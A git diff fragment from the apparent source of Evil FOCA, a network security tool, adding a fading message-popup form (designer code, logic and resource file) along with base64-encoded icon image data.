7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ + 3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/H0bd/x9G3f8fRd3/HkXd/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH + 3v8fRt7/H0bd/x9G3f8fRd3/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw + /P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r + 9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl + 9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg + 8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa + 7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV + 6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ + 5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK + 4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/H0bd/x9G3f9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu + +v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp + 9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj + 8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe + 7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y + 6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT + 5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN + 4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI + 3/8gSN7/IEfe/yBH3v8fRt7/H0bd/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s + +P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln + 9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh + 8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb + 7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW + 6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR + 5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL + 4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv + +/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq + 9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk + 8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf + 7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ + 3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/0Fw + +/pCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw + /P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r + 9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl + 9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg + 8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa + 7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV + 6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ + 5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK + 4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gR9z6QXD5w0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu + +v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp + 9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj + 8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe + 7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y + 6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT + 5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN + 4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFG + 3MM/bfhNQnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s + +P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln + 9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh + 8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb + 7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW + 6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR + 5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL + 4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//HkXeTQAAAABCcPuAQnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv + +/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq + 9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk + 8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf + 7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/x9J + 3oIAAAAAAAAAAAAAAAA/bfhNQXD5w0Fw+/pCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0re+iFJ3sMhSd5NAAAAAAAAAAD//////4AAAAAAAAAAAAAD//////4A + AAAAAAAAAAAAAf/////4AAAAAAAAAAAAAAD/////8AAAAAAAAAAAAAAA/////+AAAAAAAAAAAAAAAP// + ///AAAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAP////4AAAAAAAAAAAAA + AAD////8AAAAAAAAAAAAAAAA////+AAAAAAAAAAAAAAAAP////AAAAAAAAAAAAAAAAD////gAAAAAAAA + AAAAAAAA////wAAAAAAAAAAAAAAAAP///4AAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAA///+AAAA + AAAAAAAAAAAAAP///AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAA///wAAAAAAAAAAAAAAAAAP// + 4AAAAAAAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA//+AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAA + AAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAP/4AAAAAAAAAAAAAAAAAAD/8AAAAAAAAAAA + AAAAAAAA/+AAAAAAAAAAAAAAAAAAAP/AAAAAAAAAAAAAAAAAAAD/gAAAAAAAAAAAAAAAAAAA/wAAAAAA + AAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAPAA + AAAAAAAAAAAAAAAAAADgAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAAAAAAAAAAABw== + + + \ No newline at end of file diff --git a/EvilFoca/FormMessage.Designer.cs b/EvilFoca/FormMessage.Designer.cs new file mode 100644 index 0000000..e2e39cc --- /dev/null +++ b/EvilFoca/FormMessage.Designer.cs @@ -0,0 +1,125 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormMessage + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormMessage)); + this.lbMessage = new System.Windows.Forms.Label(); + this.timerClose = new System.Windows.Forms.Timer(this.components); + this.imageList1 = new System.Windows.Forms.ImageList(this.components); + this.pcIcon = new System.Windows.Forms.PictureBox(); + this.timerRetardo = new System.Windows.Forms.Timer(this.components); + ((System.ComponentModel.ISupportInitialize)(this.pcIcon)).BeginInit(); + this.SuspendLayout(); + // + // lbMessage + // + this.lbMessage.Location = new System.Drawing.Point(66, 9); + this.lbMessage.Name = "lbMessage"; + this.lbMessage.Size = new System.Drawing.Size(171, 37); + this.lbMessage.TabIndex = 0; + this.lbMessage.Text = "[message]"; + this.lbMessage.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // timerClose + // + this.timerClose.Tick += new System.EventHandler(this.timerClose_Tick); + // + // imageList1 + // + this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); + this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + this.imageList1.Images.SetKeyName(0, "MessageBoxOK.png"); + this.imageList1.Images.SetKeyName(1, "message-box-error.alpha.png"); + this.imageList1.Images.SetKeyName(2, "messagebox_info.png"); + // + // pcIcon + // + this.pcIcon.BackColor = System.Drawing.Color.White; + this.pcIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pcIcon.Image = global::evilfoca.Properties.Resources.Ok; + this.pcIcon.Location = new System.Drawing.Point(-1, -1); + this.pcIcon.Name = "pcIcon"; + this.pcIcon.Size = new System.Drawing.Size(61, 57); + this.pcIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pcIcon.TabIndex = 1; + this.pcIcon.TabStop = false; + // + // timerRetardo + // + this.timerRetardo.Enabled = true; + this.timerRetardo.Interval = 1; + this.timerRetardo.Tick += new System.EventHandler(this.timerRetardo_Tick); + // + // FormMessage + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.ActiveCaption; + this.ClientSize = new System.Drawing.Size(249, 55); + this.ControlBox = false; + this.Controls.Add(this.pcIcon); + this.Controls.Add(this.lbMessage); + this.Cursor = System.Windows.Forms.Cursors.Default; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Name = "FormMessage"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Load += new System.EventHandler(this.FormMessage_Load); + ((System.ComponentModel.ISupportInitialize)(this.pcIcon)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label lbMessage; + private System.Windows.Forms.Timer timerClose; + private System.Windows.Forms.ImageList imageList1; + private System.Windows.Forms.PictureBox pcIcon; + private System.Windows.Forms.Timer timerRetardo; + } +} \ No newline at end of file diff --git a/EvilFoca/FormMessage.cs b/EvilFoca/FormMessage.cs new file mode 100644 index 0000000..67a6b34 --- /dev/null +++ b/EvilFoca/FormMessage.cs @@ -0,0 +1,92 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace evilfoca +{ + public partial class FormMessage : Form + { + public enum IconType + { + OK = 0, + Error = 1, + Info = 2 + } + + int speed = 10; + private string message = string.Empty; + double dec = 0.002; + int retardoMS = 1; + + public IconType iconType = IconType.OK; + + + public FormMessage(string message, int retardoMS, IconType iconType) + { + if (retardoMS == 0) + retardoMS = 1; + this.retardoMS = retardoMS; + + this.iconType = iconType; + this.message = message; + InitializeComponent(); + } + + + private void FormMessage_Load(object sender, EventArgs e) + { + this.CenterToParent(); + timerRetardo.Interval = retardoMS; + timerClose.Interval = speed; + this.lbMessage.Text = message; + + pcIcon.Image = imageList1.Images[(int)iconType]; + } + + private void timerClose_Tick(object sender, EventArgs e) + { + this.Opacity -= dec; + + if (this.Opacity < 0.90) + { + this.dec = 0.10; + } + + if (this.Opacity < 0.20) + { + this.Close(); + } + } + + private void timerRetardo_Tick(object sender, EventArgs e) + { + timerClose.Enabled = true; + timerRetardo.Enabled = false; + } + + + } +} diff --git a/EvilFoca/FormMessage.resx b/EvilFoca/FormMessage.resx new file mode 100644 index 0000000..e7053cc --- /dev/null +++ b/EvilFoca/FormMessage.resx @@ -0,0 +1,195 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 127, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADO + DQAAAk1TRnQBSQFMAgEBAwEAARABAAEQAQABGAEAARgBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABYAMAARgDAAEBAQABCAYAAQkYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + 